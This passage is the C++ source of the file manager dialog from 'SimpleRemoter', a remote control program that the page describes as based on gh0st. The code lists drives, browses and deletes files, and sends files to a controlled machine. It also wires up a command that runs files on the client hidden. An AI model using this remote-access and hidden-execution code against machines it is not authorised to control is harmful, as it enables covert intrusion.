Files
SimpleRemoter/server/2015Remote/FileManagerDlg.cpp
yuanyuanxiang 27fcb6284e 基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
2019-01-05 20:21:43 +08:00

1455 lines
39 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// FileManagerDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "FileManagerDlg.h"
#include "afxdialogex.h"
#include "EditDialog.h"
#include "FileTransferModeDlg.h"
#include "FileCompress.h"
#include <strsafe.h>
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define MAX_SEND_BUFFER 8192
static UINT Indicators[] =
{
ID_SEPARATOR,
ID_SEPARATOR,
IDR_STATUSBAR_PROCESS,
};
// CFileManagerDlg 对话框
IMPLEMENT_DYNAMIC(CFileManagerDlg, CDialog)
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
: CDialog(CFileManagerDlg::IDD, pParent)
{
m_ContextObject = ContextObject;
m_iocpServer = IOCPServer;
m_ProgressCtrl = NULL;
sockaddr_in ClientAddr = {0};
int iClientAddrLength = sizeof(sockaddr_in);
//得到连接被控端的IP
BOOL bOk = getpeername(ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLength);
m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
memset(m_szClientDiskDriverList, 0, sizeof(m_szClientDiskDriverList));
int len = ContextObject->InDeCompressedBuffer.GetBufferLength();
memcpy(m_szClientDiskDriverList, ContextObject->InDeCompressedBuffer.GetBuffer(1), len - 1);
CoInitialize(0);
// 加载系统图标列表
try {
SHFILEINFO sfi = {0};
HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_LARGEICON | SHGFI_SYSICONINDEX);
m_ImageList_Large = CImageList::FromHandle(hImageList); //CimageList*
ImageList_Destroy(hImageList);
}catch(...){
OutputDebugStringA("======> m_ImageList_Large catch an error. \n");
}
try{
SHFILEINFO sfi = {0};
HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_SMALLICON | SHGFI_SYSICONINDEX);
m_ImageList_Small = CImageList::FromHandle(hImageList);
ImageList_Destroy(hImageList);
}catch(...){
OutputDebugStringA("======> m_ImageList_Small catch an error. \n");
}
m_bDragging = FALSE;
m_bIsStop = FALSE;
}
CFileManagerDlg::~CFileManagerDlg()
{
m_Remote_Upload_Job.RemoveAll();
if (m_ProgressCtrl)
{
m_ProgressCtrl->DestroyWindow();
delete m_ProgressCtrl;
}
m_ProgressCtrl = NULL;
m_ImageList_Large->Detach();
m_ImageList_Small->Detach();
CoUninitialize();
}
void CFileManagerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_CLIENT, m_ControlList_Client);
DDX_Control(pDX, IDC_LIST_SERVER, m_ControlList_Server);
DDX_Control(pDX, IDC_COMBO_SERVER, m_ComboBox_Server);
DDX_Control(pDX, IDC_COMBO_CLIENT, m_ComboBox_Client);
DDX_Control(pDX, IDC_STATIC_FILE_SERVER, m_FileServerBarPos);
DDX_Control(pDX, IDC_STATIC_FILE_CLIENT, m_FileClientBarPos);
}
BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_WM_CLOSE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMDblclkListServer)
ON_CBN_SELCHANGE(IDC_COMBO_SERVER, &CFileManagerDlg::OnCbnSelchangeComboServer)
ON_COMMAND(IDT_SERVER_FILE_PREV, &CFileManagerDlg::OnIdtServerPrev)
ON_COMMAND(IDT_SERVER_FILE_NEW_FOLDER, &CFileManagerDlg::OnIdtServerNewFolder)
ON_COMMAND(IDT_SERVER_FILE_DELETE, &CFileManagerDlg::OnIdtServerDelete)
ON_COMMAND(IDT_SERVER_FILE_STOP, &CFileManagerDlg::OnIdtServerStop)
ON_COMMAND(ID_VIEW_BIG_ICON, &CFileManagerDlg::OnViewBigIcon)
ON_COMMAND(ID_VIEW_SMALL_ICON, &CFileManagerDlg::OnViewSmallIcon)
ON_COMMAND(ID_VIEW_DETAIL, &CFileManagerDlg::OnViewDetail)
ON_COMMAND(ID_VIEW_LIST, &CFileManagerDlg::OnViewList)
ON_NOTIFY(NM_DBLCLK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMDblclkListClient)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnBegindragListServer)
ON_WM_MOUSEMOVE()
ON_WM_LBUTTONUP()
ON_NOTIFY(NM_RCLICK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMRClickListServer)
ON_COMMAND(ID_OPERATION_SERVER_RUN, &CFileManagerDlg::OnOperationServerRun)
ON_COMMAND(ID_OPERATION_RENAME, &CFileManagerDlg::OnOperationRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnEndlabeleditListServer)
ON_NOTIFY(NM_RCLICK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMRClickListClient)
ON_COMMAND(ID_OPERATION_CLIENT_SHOW_RUN, &CFileManagerDlg::OnOperationClientShowRun)
ON_COMMAND(ID_OPERATION_CLIENT_HIDE_RUN, &CFileManagerDlg::OnOperationClientHideRun)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_CLIENT, &CFileManagerDlg::OnLvnEndlabeleditListClient)
ON_COMMAND(ID_OPERATION_COMPRESS, &CFileManagerDlg::OnOperationCompress)
END_MESSAGE_MAP()
// CFileManagerDlg 消息处理程序
VOID CFileManagerDlg::OnIdtServerPrev()
{
FixedServerFileList("..");
}
VOID CFileManagerDlg::OnIdtServerNewFolder()
{
if (m_Server_File_Path == "")
return;
CEditDialog Dlg(this);
if (Dlg.DoModal() == IDOK && Dlg.m_EditString.GetLength())
{
// 创建多层目录
CString strString;
strString = m_Server_File_Path + Dlg.m_EditString + "\\";
MakeSureDirectoryPathExists(strString.GetBuffer()); /*c:\Hello\ */
FixedServerFileList(".");
}
}
VOID CFileManagerDlg::OnIdtServerStop()
{
m_bIsStop = TRUE;
}
VOID CFileManagerDlg::OnIdtServerDelete() //真彩删除目录或者文件
{
// m_bIsUpload = true; //我们可以使用这个Flag进行停止 当前的工作
CString strString;
if (m_ControlList_Server.GetSelectedCount() > 1)
strString.Format("确定要将这 %d 项删除吗?", m_ControlList_Server.GetSelectedCount());
else
{
CString strFileName = m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0);
int iItem = m_ControlList_Server.GetSelectionMark(); //.. fff 1 Hello
if (iItem==-1)
{
return;
}
if (m_ControlList_Server.GetItemData(iItem) == 1)
{
strString.Format("确实要删除文件夹“%s”并将所有内容删除吗?", strFileName);
}
else
{
strString.Format("确实要把“%s”删除吗?", strFileName);
}
}
if (::MessageBox(m_hWnd, strString, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
{
return;
}
EnableControl(FALSE);
POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition();
while(Pos)
{
int iItem = m_ControlList_Server.GetNextSelectedItem(Pos);
CString strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0);
// 如果是目录
if (m_ControlList_Server.GetItemData(iItem))
{
strFileFullPath += '\\';
DeleteDirectory(strFileFullPath);
}
else
{
DeleteFile(strFileFullPath);
}
}
// 禁用文件管理窗口
EnableControl(TRUE);
FixedServerFileList(".");
}
BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath)
{
WIN32_FIND_DATA wfd;
char szBuffer[MAX_PATH] = {0};
wsprintf(szBuffer, "%s\\*.*", strDirectoryFullPath);
HANDLE hFind = FindFirstFile(szBuffer, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char szv1[MAX_PATH];
wsprintf(szv1, "%s\\%s", strDirectoryFullPath, wfd.cFileName);
DeleteDirectory(szv1);
}
else
{
char szv2[MAX_PATH];
wsprintf(szv2, "%s\\%s", strDirectoryFullPath, wfd.cFileName);
DeleteFile(szv2);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
if(!RemoveDirectory(strDirectoryFullPath))
{
return FALSE;
}
return true;
}
BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath)
{
char* szTravel = NULL;
char* szBuffer = NULL;
DWORD dwAttributes;
__try
{
szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1));
if(szBuffer == NULL)
{
return FALSE;
}
strcpy(szBuffer, szDirectoryFullPath);
szTravel = szBuffer;
if (0)
{
}
else if(*(szTravel+1) == ':')
{
szTravel++;
szTravel++;
if(*szTravel && (*szTravel == '\\'))
{
szTravel++;
}
}
while(*szTravel) //\Hello\World\Shit\0
{
if(*szTravel == '\\')
{
*szTravel = '\0';
dwAttributes = GetFileAttributes(szBuffer); //查看是否是否目录 目录存在吗
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(szBuffer, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(szBuffer);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
free(szBuffer);
szBuffer = NULL;
return FALSE;
}
}
*szTravel = '\\';
}
szTravel = CharNext(szTravel);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
if (szBuffer!=NULL)
{
free(szBuffer);
szBuffer = NULL;
}
return FALSE;
}
if (szBuffer!=NULL)
{
free(szBuffer);
szBuffer = NULL;
}
return TRUE;
}
BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
{
return CDialog::PreTranslateMessage(pMsg);
}
void CFileManagerDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_ContextObject->v1 = 0;
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose();
//delete this; // 释放内存是应该的但这造成第2次打开文件管理窗口时崩溃
}
BOOL CFileManagerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CString strString;
strString.Format("%s - 远程文件控制", m_strClientIP);
SetWindowText(strString);
if (!m_ToolBar_File_Server.Create(this, WS_CHILD |
WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, IDR_TOOLBAR_FILE_SERVER)
||!m_ToolBar_File_Server.LoadToolBar(IDR_TOOLBAR_FILE_SERVER))
{
return -1;
}
// m_ToolBar_File_Server.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_ToolBar_File_Server.LoadTrueColorToolBar
(
24, //加载真彩工具条
IDB_BITMAP_FILE,
IDB_BITMAP_FILE,
IDB_BITMAP_FILE //没有用
);
m_ToolBar_File_Server.AddDropDownButton(this,IDT_SERVER_FILE_VIEW ,IDR_MENU_FILE_SERVER);
m_ToolBar_File_Server.SetButtonText(0,"返回"); //在位图的下面添加文件
m_ToolBar_File_Server.SetButtonText(1,"查看");
m_ToolBar_File_Server.SetButtonText(2,"删除");
m_ToolBar_File_Server.SetButtonText(3,"新建");
m_ToolBar_File_Server.SetButtonText(5,"停止");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //显示
RECT RectServer;
m_FileServerBarPos.GetWindowRect(&RectServer);
m_FileServerBarPos.ShowWindow(SW_HIDE);
//显示工具栏
m_ToolBar_File_Server.MoveWindow(&RectServer);
m_ControlList_Server.SetImageList(m_ImageList_Large, LVSIL_NORMAL);
m_ControlList_Server.SetImageList(m_ImageList_Small, LVSIL_SMALL);
m_ControlList_Client.SetImageList(m_ImageList_Large, LVSIL_NORMAL);
m_ControlList_Client.SetImageList(m_ImageList_Small, LVSIL_SMALL);
if (!m_StatusBar.Create(this) ||
!m_StatusBar.SetIndicators(Indicators,
sizeof(Indicators)/sizeof(UINT)))
{
return -1;
}
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, NULL);
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 120);
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, 50);
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏
RECT ClientRect;
GetClientRect(&ClientRect);
CRect Rect;
Rect.top=ClientRect.bottom-25;
Rect.left=0;
Rect.right=ClientRect.right;
Rect.bottom=ClientRect.bottom;
m_StatusBar.MoveWindow(Rect);
m_StatusBar.GetItemRect(1, &ClientRect);
ClientRect.bottom -= 1;
m_ProgressCtrl = new CProgressCtrl;
m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, ClientRect, &m_StatusBar, 1);
m_ProgressCtrl->SetRange(0, 100); //设置进度条范围
m_ProgressCtrl->SetPos(0); //设置进度条当前位置
FixedServerDiskDriverList();
FixedClientDiskDriverList();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
VOID CFileManagerDlg::FixedServerDiskDriverList()
{
CHAR *Travel = NULL;
m_ControlList_Server.DeleteAllItems();
while(m_ControlList_Server.DeleteColumn(0) != 0);
//初始化列表信息
m_ControlList_Server.InsertColumn(0, "名称", LVCFMT_LEFT, 70);
m_ControlList_Server.InsertColumn(1, "类型", LVCFMT_RIGHT, 85);
m_ControlList_Server.InsertColumn(2, "总大小", LVCFMT_RIGHT, 80);
m_ControlList_Server.InsertColumn(3, "可用空间", LVCFMT_RIGHT, 90);
m_ControlList_Server.SetExtendedStyle(LVS_EX_FULLROWSELECT);
GetLogicalDriveStrings(sizeof(m_szServerDiskDriverList),(LPSTR)m_szServerDiskDriverList); //c:\.d:\.
Travel = m_szServerDiskDriverList;
CHAR szFileSystem[MAX_PATH]; //ntfs fat32
unsigned __int64 ulHardDiskAmount = 0; //HardDisk
unsigned __int64 ulHardDiskFreeSpace = 0;
unsigned long ulHardDiskAmountMB = 0; // 总大小
unsigned long ulHardDiskFreeMB = 0; // 剩余空间
for (int i = 0; *Travel != '\0'; i++, Travel += lstrlen(Travel) + 1)
{
// 得到磁盘相关信息
memset(szFileSystem, 0, sizeof(szFileSystem));
// 得到文件系统信息及大小
GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH);
ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1;
if (GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace, (PULARGE_INTEGER)&ulHardDiskAmount, NULL))
{
ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024;
ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024;
}
else
{
ulHardDiskAmountMB = 0;
ulHardDiskFreeMB = 0;
}
int iItem = m_ControlList_Server.InsertItem(i, Travel,GetServerIconIndex(Travel,GetFileAttributes(Travel))); //获得系统的图标
m_ControlList_Server.SetItemData(iItem, 1);
SHFILEINFO sfi;
SHGetFileInfo(Travel, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_ControlList_Server.SetItemText(iItem, 1, sfi.szTypeName);
CString strCount;
strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024);
m_ControlList_Server.SetItemText(iItem, 2, strCount);
strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024);
m_ControlList_Server.SetItemText(iItem, 3, strCount);
}
}
VOID CFileManagerDlg::FixedClientDiskDriverList()
{
m_ControlList_Client.DeleteAllItems();
m_ControlList_Client.InsertColumn(0, "名称", LVCFMT_LEFT, 70);
m_ControlList_Client.InsertColumn(1, "类型", LVCFMT_RIGHT, 85);
m_ControlList_Client.InsertColumn(2, "总大小", LVCFMT_RIGHT, 80);
m_ControlList_Client.InsertColumn(3, "可用空间", LVCFMT_RIGHT, 90);
m_ControlList_Client.SetExtendedStyle(LVS_EX_FULLROWSELECT);
char *Travel = NULL;
Travel = (char *)m_szClientDiskDriverList; //已经去掉了消息头的1个字节了
int i = 0;
ULONG ulIconIndex = 0;
for (i = 0; Travel[i] != '\0';)
{
//由驱动器名判断图标的索引
if (Travel[i] == 'A' || Travel[i] == 'B')
{
ulIconIndex = 6;
}
else
{
switch (Travel[i + 1]) //这里是判断驱动类型 查看被控端
{
case DRIVE_REMOVABLE:
ulIconIndex = 2+5;
break;
case DRIVE_FIXED:
ulIconIndex = 3+5;
break;
case DRIVE_REMOTE:
ulIconIndex = 4+5;
break;
case DRIVE_CDROM:
ulIconIndex = 9; //Win7为10
break;
default:
ulIconIndex = 0;
break;
}
}
// 02E3F844 43 03 04 58 02 00 73 D7 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00 44 C..X..s...本地磁盘.NTFS.D
// 2E3F85E 03 04 20 03 00 FC 5B 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00
CString strVolume;
strVolume.Format("%c:\\", Travel[i]);//c:
int iItem = m_ControlList_Client.InsertItem(i, strVolume,ulIconIndex);
m_ControlList_Client.SetItemData(iItem, 1); //不显示
unsigned long ulHardDiskAmountMB = 0; // 总大小
unsigned long ulHardDiskFreeMB = 0; // 剩余空间
memcpy(&ulHardDiskAmountMB, Travel + i + 2, 4);
memcpy(&ulHardDiskFreeMB, Travel + i + 6, 4);
CString strCount;
strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024);
m_ControlList_Client.SetItemText(iItem, 2, strCount);
strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024);
m_ControlList_Client.SetItemText(iItem, 3, strCount);
i += 10; //10
CString strTypeName;
strTypeName = Travel + i;
m_ControlList_Client.SetItemText(iItem, 1, strTypeName);
i += strlen(Travel + i) + 1;
i += strlen(Travel + i) + 1;
}
}
void CFileManagerDlg::OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
if (m_ControlList_Server.GetSelectedCount() == 0 || m_ControlList_Server.GetItemData(m_ControlList_Server.GetSelectionMark()) != 1)
return;
FixedServerFileList();
*pResult = 0;
}
VOID CFileManagerDlg::FixedServerFileList(CString strDirectory)
{
if (strDirectory.GetLength() == 0)
{
int iItem = m_ControlList_Server.GetSelectionMark();
// 如果有选中的,是目录
if (iItem != -1)
{
if (m_ControlList_Server.GetItemData(iItem) == 1) //设置隐藏数据
{
strDirectory = m_ControlList_Server.GetItemText(iItem, 0);
}
}
// 从组合框里得到路径
else
{
m_ComboBox_Server.GetWindowText(m_Server_File_Path);
}
}
if (strDirectory == "..")
{
m_Server_File_Path = GetParentDirectory(m_Server_File_Path);
}
// 刷新当前用
else if (strDirectory != ".") //c:\ 1
{
/* c:\ */
m_Server_File_Path += strDirectory;
if(m_Server_File_Path.Right(1) != "\\")
{
m_Server_File_Path += "\\";
}
}
// 是驱动器的根目录,返回磁盘列表
if (m_Server_File_Path.GetLength() == 0)
{
FixedServerDiskDriverList();
return;
}
m_ComboBox_Server.InsertString(0, m_Server_File_Path);
m_ComboBox_Server.SetCurSel(0);
m_ControlList_Server.DeleteAllItems();
while(m_ControlList_Server.DeleteColumn(0) != 0); //删除
m_ControlList_Server.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_ControlList_Server.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_ControlList_Server.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_ControlList_Server.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int iItemIndex = 0;
m_ControlList_Server.SetItemData(m_ControlList_Server.InsertItem(iItemIndex++, "..",
GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1);
// i 为 0 时列目录i 为 1时列文件
for (int i = 0; i < 2; i++)
{
CFileFind FindFile;
BOOL bContinue;
bContinue = FindFile.FindFile(m_Server_File_Path + "*.*"); //c:\*.* //.. . 1.txt
while (bContinue)
{
bContinue = FindFile.FindNextFile();
if (FindFile.IsDots()) // .
continue;
BOOL bIsInsert = !FindFile.IsDirectory() == i;
if (!bIsInsert)
continue;
int iItem = m_ControlList_Server.InsertItem(iItemIndex++, FindFile.GetFileName(),
GetServerIconIndex(FindFile.GetFileName(), GetFileAttributes(FindFile.GetFilePath())));
m_ControlList_Server.SetItemData(iItem, FindFile.IsDirectory());
SHFILEINFO sfi;
SHGetFileInfo(FindFile.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO),
SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
if (FindFile.IsDirectory())
{
m_ControlList_Server.SetItemText(iItem, 2, "文件夹");
}
else
{
m_ControlList_Server.SetItemText(iItem,2, sfi.szTypeName);
}
CString strFileLength;
strFileLength.Format("%10d KB", FindFile.GetLength() / 1024 + (FindFile.GetLength() % 1024 ? 1 : 0));
m_ControlList_Server.SetItemText(iItem, 1, strFileLength);
CTime Time;
FindFile.GetLastWriteTime(Time);
m_ControlList_Server.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M"));
}
}
}
void CFileManagerDlg::OnCbnSelchangeComboServer()
{
int iIndex = m_ComboBox_Server.GetCurSel();
CString strString;
m_ComboBox_Server.GetLBText(iIndex,strString);
m_ComboBox_Server.SetWindowText(strString);
FixedServerFileList();
}
void CFileManagerDlg::OnViewBigIcon()
{
// TODO: 在此添加命令处理程序代码
m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnViewSmallIcon()
{
// TODO: 在此添加命令处理程序代码
m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnViewDetail()
{
m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnViewList()
{
m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
if (m_ControlList_Client.GetSelectedCount() == 0 || m_ControlList_Client.GetItemData(m_ControlList_Client.GetSelectionMark()) != 1)
{
return;
}
GetClientFileList(); //发消息
*pResult = 0;
}
VOID CFileManagerDlg::GetClientFileList(CString strDirectory)
{
if (strDirectory.GetLength() == 0) //磁盘卷
{
int iItem = m_ControlList_Client.GetSelectionMark();
// 如果有选中的,是目录
if (iItem != -1)
{
if (m_ControlList_Client.GetItemData(iItem) == 1)
{
strDirectory = m_ControlList_Client.GetItemText(iItem, 0); /* D:\ */
}
}
}
else if (strDirectory != ".")
{
m_Client_File_Path += strDirectory;
if(m_Client_File_Path.Right(1) != "\\")
{
m_Client_File_Path += "\\";
}
}
if (m_Client_File_Path.GetLength() == 0)
{
// FixedRemoteDriveList();
return;
}
ULONG ulLength = m_Client_File_Path.GetLength() + 2;
BYTE *szBuffer = (BYTE *)new BYTE[ulLength];
//将COMMAND_LIST_FILES 发送到控制端,到控制搜索
szBuffer[0] = COMMAND_LIST_FILES;
memcpy(szBuffer + 1, m_Client_File_Path.GetBuffer(0), ulLength - 1);
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength);
delete[] szBuffer;
szBuffer = NULL;
// m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
// m_Remote_Directory_ComboBox.SetCurSel(0);
// 得到返回数据前禁窗口
m_ControlList_Client.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0);
}
VOID CFileManagerDlg::OnReceiveComplete()
{
if (m_ContextObject==NULL)
{
return;
}
switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
{
case TOKEN_FILE_LIST:
{
FixedClientFileList(m_ContextObject->InDeCompressedBuffer.GetBuffer(),
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
break;
}
case TOKEN_DATA_CONTINUE:
{
SendFileData();
break;
}
case TOKEN_GET_TRANSFER_MODE:
{
SendTransferMode();
break;
}
}
}
VOID CFileManagerDlg::SendTransferMode() //如果主控端发送的文件在被控端上存在提示如何处理
{
CFileTransferModeDlg Dlg(this);
Dlg.m_strFileName = m_strDestFileFullPath;
switch (Dlg.DoModal())
{
case IDC_OVERWRITE:
m_ulTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_ulTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_JUMP:
m_ulTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_ulTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDCANCEL:
m_ulTransferMode = TRANSFER_MODE_CANCEL;
break;
}
if (m_ulTransferMode == TRANSFER_MODE_CANCEL)
{
// m_bIsStop = true;
EndCopyServerToClient();
return;
}
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_ulTransferMode, sizeof(m_ulTransferMode));
m_iocpServer->OnClientPreSending(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
}
VOID CFileManagerDlg::SendFileData()
{
FILE_SIZE *FileSize = (FILE_SIZE *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1));
LONG dwOffsetHigh = FileSize->dwSizeHigh ; //0
LONG dwOffsetLow = FileSize->dwSizeLow; //0
m_ulCounter = MAKEINT64(FileSize->dwSizeLow, FileSize->dwSizeHigh); //0
ShowProgress(); //通知进度条
if (m_ulCounter == m_OperatingFileLength||m_bIsStop)
{
EndCopyServerToClient(); //进行下个任务的传送如果存在
return;
}
HANDLE hFile;
hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); //8192 4G 300
int iHeadLength = 9; // 1 + 4 + 4 数据包头部大小为固定的9
DWORD dwNumberOfBytesToRead = MAX_SEND_BUFFER - iHeadLength;
DWORD dwNumberOfBytesRead = 0;
BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER);
if (szBuffer==NULL)
{
CloseHandle(hFile);
return;
}
szBuffer[0] = COMMAND_FILE_DATA;
memcpy(szBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(szBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); //flag 0000 00 40 20 20
ReadFile(hFile, szBuffer + iHeadLength, dwNumberOfBytesToRead, &dwNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (dwNumberOfBytesRead > 0)
{
ULONG ulLength = dwNumberOfBytesRead + iHeadLength;
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength);
}
LocalFree(szBuffer);
}
VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength)
{
// 重建标题
m_ControlList_Client.DeleteAllItems();
while(m_ControlList_Client.DeleteColumn(0) != 0);
m_ControlList_Client.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_ControlList_Client.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_ControlList_Client.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_ControlList_Client.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int iItemIndex = 0;
m_ControlList_Client.SetItemData(m_ControlList_Client.InsertItem(iItemIndex++, "..", GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1);
/*
ListView 消除闪烁
更新数据前用SetRedraw(FALSE)
更新后调用SetRedraw(TRUE)
*/
//m_list_remote.SetRedraw(FALSE);
if (ulLength != 0)
{
// 遍历发送来的数据显示到列表中
for (int i = 0; i < 2; i++)
{
// 跳过Token //[Flag 1 HelloWorld\0大小 大小 时间 时间 0 1.txt\0 大小 大小 时间 时间]
char *szTravel = (char *)(szBuffer + 1);
//[1 HelloWorld\0大小 大小 时间 时间 0 1.txt\0 大小 大小 时间 时间]
for(char *szBase = szTravel; szTravel - szBase < ulLength - 1;)
{
char *szFileName = NULL;
DWORD dwFileSizeHigh = 0; // 文件高字节大小
DWORD dwFileSizeLow = 0; // 文件低字节大小
int iItem = 0;
bool bIsInsert = false;
FILETIME FileTime;
int iType = *szTravel ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL;
// i 为 0 时列目录i为1时列文件
bIsInsert = !(iType == FILE_ATTRIBUTE_DIRECTORY) == i;
//0==1 0==0 !1 0
////[HelloWorld\0大小 大小 时间 时间 0 1.txt\0 大小 大小 时间 时间]
szFileName = ++szTravel;
if (bIsInsert)
{
iItem = m_ControlList_Client.InsertItem(iItemIndex++, szFileName, GetServerIconIndex(szFileName, iType));
